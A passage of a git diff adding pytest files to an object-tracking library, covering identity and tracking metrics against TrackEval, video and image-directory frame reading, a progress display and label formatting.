- no match + result_high = compute_identity_metrics( + gt_ids, tracker_ids, similarity_scores, threshold=0.5 + ) + assert result_high["IDTP"] == 0 + + # Lower threshold 0.3 - should match + result_low = compute_identity_metrics( + gt_ids, tracker_ids, similarity_scores, threshold=0.3 + ) + assert result_low["IDTP"] == 1 + + +def test_compute_identity_metrics_multi_frame_consistency() -> None: + """Test that Identity correctly handles consistent tracking across frames.""" + # GT ID 0 appears in all 3 frames + # Tracker ID 10 tracks it consistently + gt_ids = [np.array([0]), np.array([0]), np.array([0])] + tracker_ids = [np.array([10]), np.array([10]), np.array([10])] + similarity_scores = [ + np.array([[0.9]]), + np.array([[0.85]]), + np.array([[0.8]]), + ] + + result = compute_identity_metrics(gt_ids, tracker_ids, similarity_scores) + + # Perfect tracking: 3 IDTP, 0 IDFN, 0 IDFP + assert result["IDTP"] == 3 + assert result["IDFN"] == 0 + assert result["IDFP"] == 0 + assert result["IDF1"] == pytest.approx(1.0) + + +def test_aggregate_identity_metrics_empty() -> None: + """Test aggregation with empty input.""" + result = aggregate_identity_metrics([]) + + assert result["IDTP"] == 0 + assert result["IDFN"] == 0 + assert result["IDFP"] == 0 + assert result["IDF1"] == 0.0 + + +def test_aggregate_identity_metrics_single_sequence() -> None: + """Test aggregation with single sequence returns same values.""" + seq_result = { + "IDTP": 100, + "IDFN": 10, + "IDFP": 5, + "IDF1": 0.93, + "IDR": 0.91, + "IDP": 0.95, + } + + agg = aggregate_identity_metrics([seq_result]) + + assert agg["IDTP"] == 100 + assert agg["IDFN"] == 10 + assert agg["IDFP"] == 5 + # IDF1 is recomputed from sums + expected_idf1 = 100 / (100 + 0.5 * 5 + 0.5 * 10) + assert agg["IDF1"] == pytest.approx(expected_idf1) + + +def test_aggregate_identity_metrics_multiple_sequences() -> None: + """Test aggregation sums counts and recomputes ratios.""" + seq1 = compute_identity_metrics( + gt_ids=[np.array([0, 1])], + tracker_ids=[np.array([10, 20])], + similarity_scores=[np.array([[0.9, 0.0], [0.0, 0.9]])], + ) + seq2 = compute_identity_metrics( + gt_ids=[np.array([0])], + tracker_ids=[np.array([10])], + similarity_scores=[np.array([[0.9]])], + ) + + agg = aggregate_identity_metrics([seq1, seq2]) + + # IDTP/IDFN/IDFP should be summed + expected_idtp = seq1["IDTP"] + seq2["IDTP"] + expected_idfn = seq1["IDFN"] + seq2["IDFN"] + expected_idfp = seq1["IDFP"] + seq2["IDFP"] + + assert agg["IDTP"] == expected_idtp + assert agg["IDFN"] == expected_idfn + assert agg["IDFP"] == expected_idfp + + # IDF1 should be recomputed from totals + expected_idf1 = expected_idtp / max( + 1.0, expected_idtp + 0.5 * expected_idfp + 0.5 * expected_idfn + ) + assert agg["IDF1"] == pytest.approx(expected_idf1) diff --git a/test/eval/test_integration.py b/test/eval/test_integration.py new file mode 100644 index 0000000..c5268c7 --- /dev/null +++ b/test/eval/test_integration.py @@ -0,0 +1,302 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""Integration tests comparing our metrics against TrackEval on real data. + +These tests download SportsMOT and DanceTrack test datasets and verify that our +benchmark evaluation produces identical results to TrackEval. +Numerical parity is the key requirement. +""" + +from __future__ import annotations + +from pathlib import Path +from typing import TYPE_CHECKING, Any + +import pytest + +from trackers.eval import evaluate_mot_sequences + +if TYPE_CHECKING: + pass + + +@pytest.mark.integration +def test_evaluate_mot_sequences_sportsmot_flat( + sportsmot_flat_data: tuple[Path, dict[str, Any]], +) -> None: + """Test evaluate_mot_sequences with SportsMOT flat format (auto-detected).""" + data_path, expected_results = sportsmot_flat_data + + # Auto-detection should detect flat format from *.txt files + result = evaluate_mot_sequences( + gt_dir=data_path / "gt", + tracker_dir=data_path / "trackers", + seqmap=data_path / "seqmap.txt", + metrics=["CLEAR", "HOTA", "Identity"], + ) + + # Verify all sequences are evaluated + assert len(result.sequences) == len(expected_results), ( + f"Sequence count mismatch: got {len(result.sequences)}, " + f"expected {len(expected_results)}" + ) + + # Verify each sequence matches expected results + for seq_name, seq_result in result.sequences.items(): + assert seq_name in expected_results, f"Unexpected sequence: {seq_name}" + expected_clear = expected_results[seq_name]["CLEAR"] + _verify_clear_metrics(seq_result.CLEAR, expected_clear, f"sportsmot/{seq_name}") + expected_hota = expected_results[seq_name]["HOTA"] + _verify_hota_metrics(seq_result.HOTA, expected_hota, f"sportsmot/{seq_name}") + expected_identity = expected_results[seq_name]["Identity"] + _verify_identity_metrics( + seq_result.Identity, expected_identity, f"sportsmot/{seq_name}" + ) + + # Verify aggregate metrics are computed correctly + assert result.aggregate.sequence == "COMBINED" + + +@pytest.mark.integration +def test_evaluate_mot_sequences_sportsmot_mot17( + sportsmot_mot17_data: tuple[Path, dict[str, Any]], +) -> None: + """Test evaluate_mot_sequences with SportsMOT MOT17 format (auto-detected).""" + data_path, expected_results = sportsmot_mot17_data + + # Point directly at the split-level directories + gt_dir, tracker_dir = _resolve_mot17_dirs(data_path) + + result = evaluate_mot_sequences( + gt_dir=gt_dir, + tracker_dir=tracker_dir, + metrics=["CLEAR", "HOTA", "Identity"], + ) + + # Verify all sequences are evaluated + assert len(result.sequences) == len(expected_results), ( + f"Sequence count mismatch: got {len(result.sequences)}, " + f"expected {len(expected_results)}" + ) + + # Verify each sequence matches expected results + for seq_name, seq_result in result.sequences.items(): + assert seq_name in expected_results, f"Unexpected sequence: {seq_name}" + expected_clear = expected_results[seq_name]["CLEAR"] + _verify_clear_metrics( + seq_result.CLEAR, expected_clear, f"sportsmot_mot17/{seq_name}" + ) + expected_hota = expected_results[seq_name]["HOTA"] + _verify_hota_metrics( + seq_result.HOTA, expected_hota, f"sportsmot_mot17/{seq_name}" + ) + expected_identity = expected_results[seq_name]["Identity"] + _verify_identity_metrics( + seq_result.Identity, expected_identity, f"sportsmot_mot17/{seq_name}" + ) + + +@pytest.mark.integration +def test_evaluate_mot_sequences_dancetrack_flat( + dancetrack_flat_data: tuple[Path, dict[str, Any]], +) -> None: + """Test evaluate_mot_sequences with DanceTrack flat format (auto-detected).""" + data_path, expected_results = dancetrack_flat_data + + # Auto-detection should detect flat format from *.txt files + result = evaluate_mot_sequences( + gt_dir=data_path / "gt", + tracker_dir=data_path / "trackers", + seqmap=data_path / "seqmap.txt", + metrics=["CLEAR", "HOTA", "Identity"], + ) + + # Verify all sequences are evaluated + assert len(result.sequences) == len(expected_results), ( + f"Sequence count mismatch: got {len(result.sequences)}, " + f"expected {len(expected_results)}" + ) + + # Verify each sequence matches expected results + for seq_name, seq_result in result.sequences.items(): + assert seq_name in expected_results, f"Unexpected sequence: {seq_name}" + expected_clear = expected_results[seq_name]["CLEAR"] + _verify_clear_metrics( + seq_result.CLEAR, expected_clear, f"dancetrack/{seq_name}" + ) + expected_hota = expected_results[seq_name]["HOTA"] + _verify_hota_metrics(seq_result.HOTA, expected_hota, f"dancetrack/{seq_name}") + expected_identity = expected_results[seq_name]["Identity"] + _verify_identity_metrics( + seq_result.Identity, expected_identity, f"dancetrack/{seq_name}" + ) + + +@pytest.mark.integration +def test_evaluate_mot_sequences_dancetrack_mot17( + dancetrack_mot17_data: tuple[Path, dict[str, Any]], +) -> None: + """Test evaluate_mot_sequences with DanceTrack MOT17 format (auto-detected).""" + data_path, expected_results = dancetrack_mot17_data + + # Point directly at the split-level directories + gt_dir, tracker_dir = _resolve_mot17_dirs(data_path) + + result = evaluate_mot_sequences( + gt_dir=gt_dir, + tracker_dir=tracker_dir, + metrics=["CLEAR", "HOTA", "Identity"], + ) + + # Verify all sequences are evaluated + assert len(result.sequences) == len(expected_results), ( + f"Sequence count mismatch: got {len(result.sequences)}, " + f"expected {len(expected_results)}" + ) + + # Verify each sequence matches expected results + for seq_name, seq_result in result.sequences.items(): + assert seq_name in expected_results, f"Unexpected sequence: {seq_name}" + expected_clear = expected_results[seq_name]["CLEAR"] + _verify_clear_metrics( + seq_result.CLEAR, expected_clear, f"dancetrack_mot17/{seq_name}" + ) + expected_hota = expected_results[seq_name]["HOTA"] + _verify_hota_metrics( + seq_result.HOTA, expected_hota, f"dancetrack_mot17/{seq_name}" + ) + expected_identity = expected_results[seq_name]["Identity"] + _verify_identity_metrics( + seq_result.Identity, expected_identity, f"dancetrack_mot17/{seq_name}" + ) + + +def _resolve_mot17_dirs(data_path: Path) -> tuple[Path, Path]: + """Resolve gt_dir and tracker_dir for MOT17 layout test data. + + The MOT17 test data has structure: + data_path/gt/{Benchmark}-{split}/{seq}/gt/gt.txt + data_path/trackers/{Benchmark}-{split}/{tracker}/data/{seq}.txt + + This function discovers the split directory and tracker data directory + so tests can pass them directly. + """ + gt_root = data_path / "gt" + tracker_root = data_path / "trackers" + + # Find the single {Benchmark}-{split} directory under gt/ + gt_splits = [d for d in gt_root.iterdir() if d.is_dir()] + assert len(gt_splits) == 1, f"Expected one split dir in {gt_root}, got {gt_splits}" + gt_dir = gt_splits[0] + + # Find the matching tracker data directory + tracker_split = tracker_root / gt_splits[0].name + tracker_names = [d for d in tracker_split.iterdir() if d.is_dir()] + assert len(tracker_names) == 1, ( + f"Expected one tracker dir in {tracker_split}, got {tracker_names}" + ) + tracker_dir = tracker_names[0] / "data" + + return gt_dir, tracker_dir + + +def _verify_clear_metrics( + computed: Any, + expected: dict[str, Any], + context: str, +) -> None: + """Verify CLEAR metrics match expected values. + + Args: + computed: CLEARMetrics object from our computation. + expected: Expected metrics dict from TrackEval. + context: Context string for error messages (e.g., "sportsmot/seq1"). + """ + # Integer metrics must match exactly + integer_metrics = ["CLR_TP", "CLR_FN", "CLR_FP", "IDSW", "MT", "PT", "ML", "Frag"] + for metric in integer_metrics: + if metric not in expected: + continue + computed_val = getattr(computed, metric) + expected_val = expected[metric] + assert computed_val == expected_val, ( + f"{context}: {metric} mismatch - " + f"got {computed_val}, expected {expected_val}" + ) + + # Float metrics: both values should be fractions (0-1) + float_metrics = ["MOTA", "MOTP"] + for metric in float_metrics: + if metric not in expected: + continue + computed_val = getattr(computed, metric) + expected_val = expected[metric] + assert computed_val == pytest.approx(expected_val, rel=1e-4, abs=1e-4), ( + f"{context}: {metric} mismatch - " + f"got {computed_val}, expected {expected_val}" + ) + + +def _verify_hota_metrics( + computed: Any, + expected: dict[str, Any], + context: str, +) -> None: + """Verify HOTA metrics match expected values. + + Args: + computed: HOTAMetrics object from our computation. + expected: Expected metrics dict from TrackEval. + context: Context string for error messages (e.g., "sportsmot/seq1"). + """ + float_metrics = ["HOTA", "DetA", "AssA", "LocA"] + for metric in float_metrics: + if metric not in expected: + continue + computed_val = getattr(computed, metric) + expected_val = expected[metric] + assert computed_val == pytest.approx(expected_val, rel=1e-4, abs=1e-4), ( + f"{context}: {metric} mismatch - " + f"got {computed_val}, expected {expected_val}" + ) + + +def _verify_identity_metrics( + computed: Any, + expected: dict[str, Any], + context: str, +) -> None: + """Verify Identity metrics match expected values. + + Args: + computed: IdentityMetrics object from our computation. + expected: Expected metrics dict from TrackEval. + context: Context string for error messages (e.g., "sportsmot/seq1"). + """ + # Integer metrics must match exactly + int_metrics = ["IDTP", "IDFN", "IDFP"] + for metric in int_metrics: + if metric not in expected: + continue + computed_val = getattr(computed, metric) + expected_val = expected[metric] + assert computed_val == expected_val, ( + f"{context}: {metric} mismatch - " + f"got {computed_val}, expected {expected_val}" + ) + + # Float metrics with tolerance + float_metrics = ["IDF1", "IDR", "IDP"] + for metric in float_metrics: + if metric not in expected: + continue + computed_val = getattr(computed, metric) + expected_val = expected[metric] + assert computed_val == pytest.approx(expected_val, rel=1e-4, abs=1e-4), ( + f"{context}: {metric} mismatch - " + f"got {computed_val}, expected {expected_val}" + ) diff --git a/test/io_tests/__init__.py b/test/io_tests/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/io_tests/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/io_tests/test_video.py b/test/io_tests/test_video.py new file mode 100644 index 0000000..d69ce2f --- /dev/null +++ b/test/io_tests/test_video.py @@ -0,0 +1,239 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from collections.abc import Callable +from pathlib import Path + +import cv2 +import numpy as np +import pytest + +from trackers import frames_from_source +from trackers.io.video import _DEFAULT_OUTPUT_FPS, _VideoOutput + +FRAME_WIDTH = 96 +FRAME_HEIGHT = 96 +FRAME_SIZE = (FRAME_WIDTH, FRAME_HEIGHT) +VALUE_MULTIPLIER = 40 +VIDEO_COMPRESSION_TOLERANCE = 5 + + +def create_frame(index: int) -> np.ndarray: + """Create a test frame with deterministic pixel values for verification. + + Each frame has all pixels set to the same value derived from the index. + The value is calculated as index * VALUE_MULTIPLIER (clamped to 255). + + We use VALUE_MULTIPLIER=40 to spread values apart (0, 40, 80, 120, ...) + because video codecs like mp4v use lossy compression that can alter + pixel values by small amounts. Adjacent values like 0, 1, 2, 3 would + become indistinguishable after compression, but 0, 40, 80, 120 remain + clearly distinguishable even with compression artifacts. + + For lossless formats (PNG, JPG with quality=100), exact matching works. + For video files, use expected_frame_value() with a tolerance check. + """ + pixel_value = min(index * VALUE_MULTIPLIER, 255) + return np.full((FRAME_HEIGHT, FRAME_WIDTH, 3), pixel_value, dtype=np.uint8) + + +def expected_frame_value(index: int) -> int: + """Return the expected pixel value for a frame created with create_frame(index).""" + return min(index * VALUE_MULTIPLIER, 255) + + +@pytest.fixture +def video_factory(tmp_path: Path) -> Callable[[int], Path]: + """Factory for creating test videos with specified number of frames.""" + + def _create(n_frames: int) -> Path: + video_path = tmp_path / f"video_{n_frames}_frames.mp4" + fourcc = cv2.VideoWriter_fourcc(*"mp4v") + writer = cv2.VideoWriter(str(video_path), fourcc, 25.0, FRAME_SIZE) + + for index in range(n_frames): + writer.write(create_frame(index)) + writer.release() + + return video_path + + return _create + + +@pytest.fixture +def image_directory_factory(tmp_path: Path) -> Callable[[int, str], Path]: + """Factory for creating image directories with specified number of frames.""" + + def _create(n_frames: int, filename_pattern: str = "{:04d}.png") -> Path: + directory = tmp_path / f"imgdir_{n_frames}_frames" + directory.mkdir(exist_ok=True) + + for index in range(n_frames): + filename = filename_pattern.format(index) + cv2.imwrite(str(directory / filename), create_frame(index)) + + return directory + + return _create + + +@pytest.fixture +def empty_directory(tmp_path: Path) -> Path: + """Empty directory with no files.""" + directory = tmp_path / "empty" + directory.mkdir() + return directory + + +@pytest.fixture +def directory_with_non_image_files(tmp_path: Path) -> Path: + """Directory containing only non-image files.""" + directory = tmp_path / "non_images" + directory.mkdir() + for index in range(4): + (directory / f"note_{index}.txt").write_text(f"placeholder {index}") + return directory + + +@pytest.fixture +def directory_with_corrupted_image(tmp_path: Path) -> Path: + """Directory with valid images followed by one corrupted image file.""" + directory = tmp_path / "with_corrupt" + directory.mkdir() + + num_valid_images = 3 + for index in range(num_valid_images): + cv2.imwrite(str(directory / f"{index:04d}.png"), create_frame(index)) + + corrupted_image_path = directory / f"{num_valid_images:04d}.png" + corrupted_image_path.write_bytes(b"not a valid image") + + return directory + + +class TestFramesFromSourceVideo: + def test_reads_video_frames_in_order(self, video_factory) -> None: + num_frames = 5 + video_path = video_factory(n_frames=num_frames) + frames = list(frames_from_source(video_path)) + + assert len(frames) == num_frames + + for frame_id, frame in frames: + frame_index = frame_id - 1 + expected = expected_frame_value(frame_index) + + assert frame.shape == (FRAME_HEIGHT, FRAME_WIDTH, 3) + assert frame.dtype == np.uint8 + + mean_pixel_value = frame.mean() + assert abs(mean_pixel_value - expected) < VIDEO_COMPRESSION_TOLERANCE, ( + f"Frame {frame_id}: expected ~{expected}, " + f"got mean {mean_pixel_value:.1f}" + ) + + def test_reads_single_frame_video(self, video_factory) -> None: + video_path = video_factory(n_frames=1) + frames = list(frames_from_source(video_path)) + + assert len(frames) == 1 + assert frames[0][0] == 1 + + def test_nonexistent_video_raises_value_error(self) -> None: + with pytest.raises(ValueError, match="Cannot open"): + list(frames_from_source("/nonexistent/video.mp4")) + + +class TestFramesFromSourceImageDirectory: + def test_reads_images_in_alphabetical_order(self, image_directory_factory) -> None: + num_frames = 7 + directory = image_directory_factory( + n_frames=num_frames, filename_pattern="{:04d}.png" + ) + frames = list(frames_from_source(directory)) + + assert len(frames) == num_frames + + for frame_id, frame in frames: + frame_index = frame_id - 1 + expected = expected_frame_value(frame_index) + + assert frame.shape == (FRAME_HEIGHT, FRAME_WIDTH, 3) + assert np.all(frame == expected) + + def test_reads_prefixed_filenames(self, image_directory_factory) -> None: + num_frames = 4 + directory = image_directory_factory( + n_frames=num_frames, filename_pattern="frame_{:05d}.png" + ) + frames = list(frames_from_source(directory)) + + assert len(frames) == num_frames + + for frame_id, frame in frames: + frame_index = frame_id - 1 + expected = expected_frame_value(frame_index) + assert np.all(frame == expected) + + def test_accepts_path_object(self, image_directory_factory) -> None: + num_frames = 3 + directory = image_directory_factory(n_frames=num_frames) + frames = list(frames_from_source(directory)) + assert len(frames) == num_frames + + def test_accepts_string_path(self, image_directory_factory) -> None: + num_frames = 3 + directory = image_directory_factory(n_frames=num_frames) + frames = list(frames_from_source(str(directory))) + assert len(frames) == num_frames + + +class TestFramesFromSourceErrors: + def test_empty_directory_raises_value_error(self, empty_directory) -> None: + with pytest.raises(ValueError, match="No supported image files"): + list(frames_from_source(empty_directory)) + + def test_non_image_files_raises_value_error( + self, directory_with_non_image_files + ) -> None: + with pytest.raises(ValueError, match="No supported image files"): + list(frames_from_source(directory_with_non_image_files)) + + def test_corrupted_image_raises_os_error( + self, directory_with_corrupted_image + ) -> None: + with pytest.raises(OSError, match="Failed to read image"): + list(frames_from_source(directory_with_corrupted_image)) + + +class TestVideoOutputFPS: + def test_uses_source_fps_when_provided(self, tmp_path: Path) -> None: + output_path = tmp_path / "out.mp4" + frame = np.zeros((FRAME_HEIGHT, FRAME_WIDTH, 3), dtype=np.uint8) + + with _VideoOutput(output_path, fps=24.0) as video: + video.write(frame) + + cap = cv2.VideoCapture(str(output_path)) + assert cap.isOpened() + actual_fps = cap.get(cv2.CAP_PROP_FPS) + cap.release() + assert actual_fps == pytest.approx(24.0, abs=0.1) + + def test_falls_back_to_default_fps(self, tmp_path: Path) -> None: + output_path = tmp_path / "out.mp4" + frame = np.zeros((FRAME_HEIGHT, FRAME_WIDTH, 3), dtype=np.uint8) + + with _VideoOutput(output_path) as video: + video.write(frame) + + cap = cv2.VideoCapture(str(output_path)) + assert cap.isOpened() + actual_fps = cap.get(cv2.CAP_PROP_FPS) + cap.release() + assert actual_fps == pytest.approx(_DEFAULT_OUTPUT_FPS, abs=0.1) diff --git a/test/motion/__init__.py b/test/motion/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/test/motion/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/test/scripts/test_progress.py b/test/scripts/test_progress.py new file mode 100644 index 0000000..63e2667 --- /dev/null +++ b/test/scripts/test_progress.py @@ -0,0 +1,356 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import time +from collections.abc import Callable +from io import StringIO +from pathlib import Path +from unittest.mock import MagicMock, patch + +import cv2 +import numpy as np +import pytest +from rich.console import Console + +from trackers.scripts.progress import ( + _classify_source, + _format_time, + _SourceInfo, + _TrackingProgress, +) + +FRAME_WIDTH = 64 +FRAME_HEIGHT = 64 +FRAME_SIZE = (FRAME_WIDTH, FRAME_HEIGHT) + + +@pytest.fixture +def video_factory(tmp_path: Path) -> Callable[[int], Path]: + """Create a small test video with *n* frames.""" + + def _create(n_frames: int) -> Path: + video_path = tmp_path / f"video_{n_frames}.mp4" + fourcc = cv2.VideoWriter_fourcc(*"mp4v") + writer = cv2.VideoWriter(str(video_path), fourcc, 25.0, FRAME_SIZE) + for _ in range(n_frames): + writer.write(np.zeros((FRAME_HEIGHT, FRAME_WIDTH, 3), dtype=np.uint8)) + writer.release() + return video_path + + return _create + + +@pytest.fixture +def image_directory_factory(tmp_path: Path) -> Callable[[int], Path]: + """Create a directory with *n* PNG images.""" + + def _create(n_frames: int) -> Path: + directory = tmp_path / f"imgdir_{n_frames}" + directory.mkdir(exist_ok=True) + frame = np.zeros((FRAME_HEIGHT, FRAME_WIDTH, 3), dtype=np.uint8) + for i in range(n_frames): + cv2.imwrite(str(directory / f"{i:04d}.png"), frame) + return directory + + return _create + + +def _make_console() -> tuple[Console, StringIO]: + """Return a Console that writes to a StringIO buffer.""" + buf = StringIO() + console = Console(file=buf, force_terminal=True, width=200) + return console, buf + + +class TestClassifySource: + def test_video_file(self, video_factory: Callable[[int], Path]) -> None: + video_path = video_factory(10) + info = _classify_source(str(video_path)) + + assert info.source_type == "video" + assert info.total_frames is not None + assert info.total_frames > 0 + assert info.fps is not None + assert info.fps > 0 + + def test_image_directory( + self, image_directory_factory: Callable[[int], Path] + ) -> None: + directory = image_directory_factory(7) + info = _classify_source(str(directory)) + + assert info.source_type == "image_dir" + assert info.total_frames == 7 + assert info.fps is None + + def test_image_directory_path_object( + self, image_directory_factory: Callable[[int], Path] + ) -> None: + directory = image_directory_factory(3) + info = _classify_source(directory) + + assert info.source_type == "image_dir" + assert info.total_frames == 3 + + def test_webcam_from_int(self) -> None: + info = _classify_source(0) + + assert info.source_type == "webcam" + assert info.total_frames is None + assert info.fps is None + + def test_webcam_from_str(self) -> None: + info = _classify_source("0") + + assert info.source_type == "webcam" + assert info.total_frames is None + + @pytest.mark.parametrize( + "url", + [ + "rtsp://192.168.1.10:554/stream", + "http://example.com/stream.mjpg", + "https://example.com/stream.mjpg", + ], + ) + def test_stream_url(self, url: str) -> None: + info = _classify_source(url) + + assert info.source_type == "stream" + assert info.total_frames is None + assert info.fps is None + + def test_video_with_zero_frame_count(self) -> None: + mock_cap = MagicMock() + mock_cap.isOpened.return_value = True + mock_cap.get.side_effect = lambda prop: { + cv2.CAP_PROP_FRAME_COUNT: 0.0, + cv2.CAP_PROP_FPS: 30.0, + }.get(prop, 0.0) + + with patch("trackers.scripts.progress.cv2.VideoCapture", return_value=mock_cap): + info = _classify_source("some_video.mp4") + + assert info.source_type == "video" + assert info.total_frames is None + mock_cap.release.assert_called_once() + + def test_nonexistent_file(self) -> None: + info = _classify_source("/nonexistent/video.mp4") + + assert info.source_type == "video" + assert info.total_frames is None + + def test_empty_image_directory(self, tmp_path: Path) -> None: + empty_dir = tmp_path / "empty" + empty_dir.mkdir() + + info = _classify_source(str(empty_dir)) + + assert info.source_type == "image_dir" + assert info.total_frames is None + + +class TestFormatTime: + @pytest.mark.parametrize( + "seconds,expected", + [ + (0, "0:00"), + (5, "0:05"), + (65, "1:05"), + (3661, "1:01:01"), + (-1, "--"), + ], + ) + def test_format_time(self, seconds: float, expected: str) -> None: + assert _format_time(seconds) == expected + + +class TestBuildLine: + def test_bounded_format(self) -> None: + console, _ = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=100) + progress = _TrackingProgress(source_info, console=console) + progress._start_time = time.monotonic() - 5.0 + progress._frames_processed = 50 + + line = progress._build_line("⠹") + text = line.plain + + assert "50 / 100" in text + assert "frames" in text + assert "50%" in text + assert "fps" in text + assert "elapsed" in text + assert "eta" in text + + def test_unbounded_format(self) -> None: + console, _ = _make_console() + source_info = _SourceInfo(source_type="webcam") + progress = _TrackingProgress(source_info, console=console) + progress._start_time = time.monotonic() - 5.0 + progress._frames_processed = 50 + + line = progress._build_line("⠹") + text = line.plain + + assert "50 / --" in text + assert "frames" in text + assert "--" in text + assert "fps" in text + assert "elapsed" in text + assert "eta --" in text + + def test_final_no_eta(self) -> None: + console, _ = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=100) + progress = _TrackingProgress(source_info, console=console) + progress._start_time = time.monotonic() - 5.0 + progress._frames_processed = 100 + + line = progress._build_line("✓", show_eta=False) + text = line.plain + + assert "eta" not in text + assert "✓" in text + + def test_suffix_appended(self) -> None: + console, _ = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=100) + progress = _TrackingProgress(source_info, console=console) + progress._start_time = time.monotonic() - 5.0 + progress._frames_processed = 50 + + line = progress._build_line("✗", show_eta=False, suffix="(interrupted)") + text = line.plain + + assert text.endswith("(interrupted)") + + def test_zero_elapsed_no_crash(self) -> None: + console, _ = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=100) + progress = _TrackingProgress(source_info, console=console) + progress._start_time = time.monotonic() + progress._frames_processed = 0 + + # Should not raise ZeroDivisionError + line = progress._build_line("⠹") + text = line.plain + + assert "fps" in text + + +class TestTrackingProgressLifecycle: + def test_bounded_completed(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=5) + + with _TrackingProgress(source_info, console=console) as progress: + for _ in range(5): + progress.update() + progress.complete() + + output = buf.getvalue() + assert "✓" in output + assert "(interrupted)" not in output + + def test_bounded_interrupted_by_display_quit(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=10) + + with _TrackingProgress(source_info, console=console) as progress: + for _ in range(5): + progress.update() + progress.complete(interrupted=True) + + output = buf.getvalue() + assert "✗" in output + assert "(interrupted)" in output + + def test_bounded_keyboard_interrupt(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="video", total_frames=10) + + progress = _TrackingProgress(source_info, console=console) + progress.__enter__() + for _ in range(3): + progress.update() + + # Simulate KeyboardInterrupt in __exit__ + progress.__exit__(KeyboardInterrupt, KeyboardInterrupt(), None) + + output = buf.getvalue() + assert "✗" in output + assert "(interrupted)" in output + + def test_unbounded_completed(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="webcam") + + with _TrackingProgress(source_info, console=console) as progress: + for _ in range(20): + progress.update() + progress.complete() + + output = buf.getvalue() + assert "✓" in output + + def test_unbounded_keyboard_interrupt(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="stream") + + progress = _TrackingProgress(source_info, console=console) + progress.__enter__() + for _ in range(10): + progress.update() + + progress.__exit__(KeyboardInterrupt, KeyboardInterrupt(), None) + + output = buf.getvalue() + assert "✓" in output + assert "(interrupted)" not in output + + def test_error_shows_source_lost(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="stream") + + progress = _TrackingProgress(source_info, console=console) + progress.__enter__() + for _ in range(5): + progress.update() + + err = RuntimeError("connection lost") + progress.__exit__(RuntimeError, err, None) + + output = buf.getvalue() + assert "✗" in output + assert "(source lost)" in output + + def test_frames_count_in_output(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="image_dir", total_frames=30) + + with _TrackingProgress(source_info, console=console) as progress: + for _ in range(30): + progress.update() + progress.complete() + + output = buf.getvalue() + assert "30 / 30" in output + + def test_unbounded_frames_count_in_output(self) -> None: + console, buf = _make_console() + source_info = _SourceInfo(source_type="webcam") + + with _TrackingProgress(source_info, console=console) as progress: + for _ in range(42): + progress.update() + progress.complete() + + output = buf.getvalue() + assert "42 / --" in output diff --git a/test/scripts/test_track.py b/test/scripts/test_track.py new file mode 100644 index 0000000..2aa8e74 --- /dev/null +++ b/test/scripts/test_track.py @@ -0,0 +1,198 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +from typing import ClassVar + +import numpy as np +import pytest +import supervision as sv + +from trackers.scripts.track import ( + _format_labels, + _init_annotators, + _resolve_class_filter, + _resolve_track_id_filter, +) + + +class TestInitAnnotators: + @pytest.mark.parametrize( + "flags,expected_types,has_label_annotator", + [ + ( + {"show_boxes": True, "show_masks": False, "show_ids": False}, + [sv.BoxAnnotator], + False, + ), + ( + {"show_boxes": False, "show_masks": True, "show_ids": False}, + [sv.MaskAnnotator], + False, + ), + ( + {"show_boxes": False, "show_masks": False, "show_ids": True}, + [], + True, + ), + ( + {"show_boxes": True, "show_masks": True, "show_ids": True}, + [sv.BoxAnnotator, sv.MaskAnnotator], + True, + ), + ], + ) + def test_creates_annotators_based_on_flags( + self, + flags: dict, + expected_types: list, + has_label_annotator: bool, + ) -> None: + annotators, label_annotator = _init_annotators(**flags) + + assert len(annotators) == len(expected_types) + for annotator, expected_type in zip(annotators, expected_types): + assert isinstance(annotator, expected_type) + + if has_label_annotator: + assert isinstance(label_annotator, sv.LabelAnnotator) + else: + assert label_annotator is None + + +class TestFormatLabels: + @pytest.mark.parametrize( + "detections_kwargs,class_names,label_flags,expected", + [ + pytest.param( + { + "xyxy": np.array([[0, 0, 10, 10], [20, 20, 30, 30]]), + "class_id": np.array([0, 1]), + }, + ["person", "car"], + {"show_labels": True}, + ["person", "car"], + id="class_names_from_list", + ), + pytest.param( + { + "xyxy": np.array([[0, 0, 10, 10]]), + "class_id": np.array([5]), + }, + ["person", "car"], + {"show_labels": True}, + ["5"], + id="fallback_to_class_id_when_out_of_range", + ), + pytest.param( + { + "xyxy": np.array([[0, 0, 10, 10]]), + "tracker_id": np.array([42]), + }, + [], + {"show_ids": True}, + ["#42"], + id="tracker_ids_only", + ), + pytest.param( + { + "xyxy": np.array([[0, 0, 10, 10]]), + "class_id": 